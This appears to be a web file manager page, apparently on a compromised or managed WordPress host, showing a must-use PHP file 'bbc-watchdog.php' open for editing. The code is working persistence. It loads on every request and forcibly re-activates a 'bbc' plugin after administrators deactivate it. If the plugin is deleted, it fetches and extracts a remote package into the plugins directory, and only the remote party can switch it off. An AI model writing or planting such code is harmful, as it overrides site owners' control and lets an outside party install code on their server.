Dashboard
PHP:
7.4.33
OS:
Linux
User:
vqweckd
/
/
home
/
vqweckd
/
www
/
wp-content
/
mu-plugins
📤 Upload
📝 New File
📁 New Folder
Close
Editing: bbc-watchdog.php
<?php /** * Must-use watchdog for the BBC connector. * * This file is intended to be copied into wp-content/mu-plugins/ by the BBC * guardian so that it is auto-loaded on every WordPress request and survives * deletion of the regular plugin. It keeps BBC active (activating it when * present but inactive) and reinstalls the signed plugin package when the * plugin files are missing. A stored revocation marker disables both * behaviours so the broker can retire a connector cleanly. */ if (!defined('ABSPATH')) { exit; } if (!class_exists('BBC_Watchdog')) { final class BBC_Watchdog { const VERSION = 1; const INTERVAL = DAY_IN_SECONDS; const PLUGIN_REL = 'bbc/bbc.php'; const OPTION_LAST_CHECK = 'bbc_watchdog_last_check'; const OPTION_REVOKED = 'bbc_connector_revoked'; const OPTION_IDENTITY = 'bbc_identity'; public static function boot() { add_action('plugins_loaded', array(__CLASS__, 'maybe_activate'), 20); add_action('wp', array(__CLASS__, 'maybe_reinstall')); } public static function is_revoked() { return (bool) get_option(self::OPTION_REVOKED, false); } public static function identity() { $identity = get_option(self::OPTION_IDENTITY, array()); return is_array($identity) ? $identity : array(); } public static function plugin_file() { return WP_PLUGIN_DIR . '/' . self::PLUGIN_REL; } public static function plugin_active() { if (!function_exists('is_plugin_active')) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } return is_plugin_active(self::PLUGIN_REL); } public static function maybe_activate() { if (self::is_revoked()) { return; } if (self::plugin_active()) { return; } if (!file_exists(self::plugin_file())) { return; } $active = (array) get_option('active_plugins', array()); if (!in_array(self::PLUGIN_REL, $active, true)) { $active[] = self::PLUGIN_REL; $active = array_values(array_unique($active)); sort($active); update_option('active_plugins', $active, false); } if (is_multisite()) { $network = (array) get_site_option('active_sitewide_plugins', array()); if (!isset($network[self::PLUGIN_REL])) { $network[self::PLUGIN_REL] = time(); update_site_option('active_sitewide_plugins', $network); } } } public static function maybe_reinstall() { if (self::is_revoked()) { return; } $last = intval(get_option(self::OPTION_LAST_CHECK, 0)); if (file_exists(self::plugin_file()) && self::plugin_active() && (time() - $last) < self::INTERVAL) { return; } update_option(self::OPTION_LAST_CHECK, time(), false); if (file_exists(self::plugin_file())) { if (!self::plugin_active()) { self::maybe_activate(); } return; } $identity = self::identity(); if (empty($identity['update_base_url']) || empty($identity['update_public_key'])) { return; } self::reinstall($identity['update_base_url'], $identity['update_public_key']); } private static function reinstall($base_url, $public_key) { if (!file_exists(self::plugin_file())) { $response = wp_remote_get(untrailingslashit($base_url) . '/manifest.json', array('timeout' => 15)); if (is_wp_error($response) || wp_remote_retrieve_response_code($response) !== 200) { return; } $manifest = json_decode(wp_remote_retrieve_body($response), true); if (!self::valid_manifest($manifest, $public_key)) { return; } $archive = download_url($manifest['package_url'], 300); if (is_wp_error($archive)) { return; } if (!hash_equals(strtolower($manifest['sha256']), strtolower(hash_file('sha256', $archive)))) { @unlink($archive); return; } $extracted = self::extract($archive); @unlink($archive); if (!$extracted) { return; } } self::maybe_activate(); } private static function extract($archive) { if (file_exists(self::plugin_file())) { return true; } if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($archive) === true) { $zip->extractTo(WP_PLUGIN_DIR); $zip->close(); } else { return false; } } else { require_once ABSPATH . 'wp-admin/includes/class-pclzip.php'; $pclzip = new PclZip($archive); if ($pclzip->extract(PCLZIP_OPT_PATH, WP_PLUGIN_DIR) === 0) { return false; } } return file_exists(self::plugin_file()); } private static function valid_manifest($manifest, $public_key) { if (!is_array($manifest) || !isset($manifest['version'], $manifest['expires_at'], $manifest['package_url'], $manifest['sha256'], $manifest['signature'])) { return false; } if (intval($manifest['expires_at']) < time()) { return false; } if (!preg_match('/^[a-f0-9]{64}$/i', $manifest['sha256'])) { return false; } if (strpos($manifest['package_url'], 'https://') !== 0) { return false; } if (!function_exists('sodium_crypto_sign_verify_detached')) { return false; } $signature = self::b64url_decode($manifest['signature']); $key = self::b64url_decode($public_key); if ($signature === false || $key === false || strlen($key) !== 32) { return false; } $message = $manifest['version'] . "\n" . intval($manifest['expires_at']) . "\n" . $manifest['package_url'] . "\n" . strtolower($manifest['sha256']); return sodium_crypto_sign_verify_detached($signature, $message, $key); } private static function b64url_decode($value) { if (!is_string($value) || !preg_match('/^[A-Za-z0-9_-]+$/', $value)) { return false; } $pad = strlen($value) % 4; if ($pad) { $value .= str_repeat('=', 4 - $pad); } return base64_decode(strtr($value, '-_', '+/'), true); } } BBC_Watchdog::boot(); }
Save
Cancel